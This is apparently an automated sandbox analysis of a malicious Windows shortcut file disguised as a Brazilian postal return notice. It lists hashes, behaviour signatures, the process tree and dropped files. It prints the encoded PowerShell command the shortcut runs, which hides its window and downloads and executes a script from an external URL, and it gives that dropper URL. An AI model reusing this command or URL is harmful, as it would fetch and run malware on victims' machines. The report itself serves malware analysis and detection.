Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    13-06-2024 02:31

General

  • Target

    Mercadoria_Devolvida-Correios-H0C42E2H.lnk

  • Size

    3KB

  • MD5

    246e74b6fffb9d5994f7f70bb6509b45

  • SHA1

    4b7bdf4808ce987b9f94ea40bdd081217867483a

  • SHA256

    0db8cc27123c8bbd5ae0139980b604c514caeeed51da22d67d440e5369f8be1e

  • SHA512

    178cf1ff0d8213ff94de68f5c1c267d50c3a958126925a2c50a554a29229c6f6834d1bf140fdb9f7168352d068880c7730e047e177496af0a8b57dde62fd8e08

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1361227624.rsc.cdn77.org/v2/gl.php?aHR0cHM6Ly8xMzYxMjI3NjI0LnJzYy5jZG43Ny5vcmcvdjJ8d3IzMQ%3D%3D%

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Mercadoria_Devolvida-Correios-H0C42E2H.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -en YQBEAGQALQB0AFkAUABFACAALQBOAGEATQBFACAAQQAgAC0ATQBFAE0AYgBlAFIAZABlAGYAaQBOAEkAVABpAG8AbgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoACwAIABpAG4AdAAgAHMAKQA7ACcAIAAtAE4AYQBtAGUAUwBQAEEAQwBFACAAQgA7AFsAQgAuAGEAXQA6ADoAUwBIAE8AdwBXAGkAbgBkAE8AVwAoACgAWwBzAFkAUwB0AGUAbQAuAGQAaQBhAEcATgBvAHMAdABpAEMAcwAuAFAAcgBvAEMAZQBzAFMAXQA6ADoARwBFAFQAYwB1AFIAcgBlAG4AVABwAFIAbwBDAGUAcwBzACgAKQAgAHwAIABQAFMAKQAuAG0AYQBJAG4AVwBJAE4ARABvAHcASABBAG4AZABsAGUALAAwACkAOwBJAEUAeAAoAE4ARQB3AC0AbwBCAGoAZQBDAHQAIABOAEUAVAAuAHcARQBCAGMAbABJAEUAbgBUACkALgBEAG8AVwBOAGwATwBhAEQAcwB0AFIASQBOAEcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADMANgAxADIAMgA3ADYAMgA0AC4AcgBzAGMALgBjAGQAbgA3ADcALgBvAHIAZwAvAHYAMgAvAGcAbAAuAHAAaABwAD8AYQBIAFIAMABjAEgATQA2AEwAeQA4AHgATQB6AFkAeABNAGoASQAzAE4AagBJADAATABuAEoAegBZAHkANQBqAFoARwA0ADMATgB5ADUAdgBjAG0AYwB2AGQAagBKADgAZAAzAEkAegBNAFEAJQAzAEQAJQAzAEQAJQAnACkA
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vaotr-rh.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2944
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2251.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2250.tmp"
          4⤵
            PID:2560

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RES2251.tmp

      Filesize

      1KB

      MD5

      4d3d7cb4bc4ed06b00551335e61f724f

      SHA1

      14416124515d673af368d23a5fe63e95bb857778

      SHA256

      192ce989995a2c53d6fbc3a99c5203528b68ea9178e47d0ab65a94e9b4f8c143

      SHA512

      08ed498642cbf8742a2274175a25df17496d4c84b118febcff68eb21a16fd182d75322d42a0e2e88d6e5b696b8b5f7823644df942c47521c5bf244e896846bf6

    • C:\Users\Admin\AppData\Local\Temp\vaotr-rh.dll

      Filesize

      3KB

      MD5

      519f0f8988678e2d402c51e0599a04d7

      SHA1

      4a75e96d4a821ca721c85d574a187bfd50ca62a0

      SHA256

      1d9a8f5011c76464941831f04933d57367c8e109de7b876667b3118c52ef1b01

      SHA512

      a32f8225001b78ddf9e8a669df920213b7a36b96a7cfa52caed7b15588f8f4a1ce49a051ddaf481a4a32dd4e0a7e5bba5f6cabe34cc79f7e85adcd9e860541a2

    • C:\Users\Admin\AppData\Local\Temp\vaotr-rh.pdb

      Filesize

      7KB

      MD5

      dfd498ea7e752d5186c7e0e20e23324c

      SHA1

      a5014734774e36a917097d320c826328b47a3f6a

      SHA256

      1a595fe7a0c2ec07c5689ed4196c7448121a5a4824cd2d0153c98bfadcb7d748

      SHA512

      7c6a7638a5c49a0cd1919ff53bcd3d478f7eb1b268381cdd1e13d1a4ded2cb3d342b924702fcf9d55cef3ea289f1eda77d62a14c295d7f89002d16a866959e65

    • \??\c:\Users\Admin\AppData\Local\Temp\CSC2250.tmp

      Filesize

      652B

      MD5

      9053cace7763f13f477946bdf6264ec4

      SHA1

      c4607d0d3064e64f6cfe155cce87b1708dc5946c

      SHA256

      d20ac6c682187207ea711de5d029711a87c150d2fa145764630d6dc09a37468f

      SHA512

      97ddf59ec90a6ca55c8862e57be9f42afb815cf0763c2126cd92355c836506b50294bd074e60510707f65d230273fab3776d210af1c42db3d1afdde94780c59d

    • \??\c:\Users\Admin\AppData\Local\Temp\vaotr-rh.0.cs

      Filesize

      187B

      MD5

      7b0e7177dfbb9edd1c1ef08b4fdfae2f

      SHA1

      cb11a0252cdad66ec247312ccb7feb46456e52b6

      SHA256

      6caf22ef995616dc37bec21b2af3aa4597cdad88e00a13de0122db3af4e9a4aa

      SHA512

      7322be891145e550405917757420aeb513e5689970d34647177b1a79a12c7776d4e49c129b093be9927b46bc7582c0379e0cb520af58d4410ed4c5ef98b4dbfd

    • \??\c:\Users\Admin\AppData\Local\Temp\vaotr-rh.cmdline

      Filesize

      309B

      MD5

      c9c37412c4e78ea0e0ca3395102689a0

      SHA1

      21688e857f03f11852a99da078f9125ba42f2110

      SHA256

      08ea5275ed60fb83fd7485f72ce364b874242c37a17683225fc64849748cb506

      SHA512

      a1f9ad50d2b27c8700cd28af0c05cb7a67ef9a1b438289466c4c867fbf3a3a6bd8348eb59148d3c187fa8f6873fe4bf53baa5714d7d6614ada96a8d399beeed0

    • memory/2748-40-0x00000000022C0000-0x00000000022C8000-memory.dmp

      Filesize

      32KB

    • memory/2748-47-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-38-0x000007FEF5BBE000-0x000007FEF5BBF000-memory.dmp

      Filesize

      4KB

    • memory/2748-42-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-41-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-43-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-39-0x000000001B520000-0x000000001B802000-memory.dmp

      Filesize

      2.9MB

    • memory/2748-58-0x0000000002C60000-0x0000000002C68000-memory.dmp

      Filesize

      32KB

    • memory/2748-61-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-62-0x000007FEF5BBE000-0x000007FEF5BBF000-memory.dmp

      Filesize

      4KB

    • memory/2748-63-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-65-0x000007FEF5900000-0x000007FEF629D000-memory.dmp

      Filesize

      9.6MB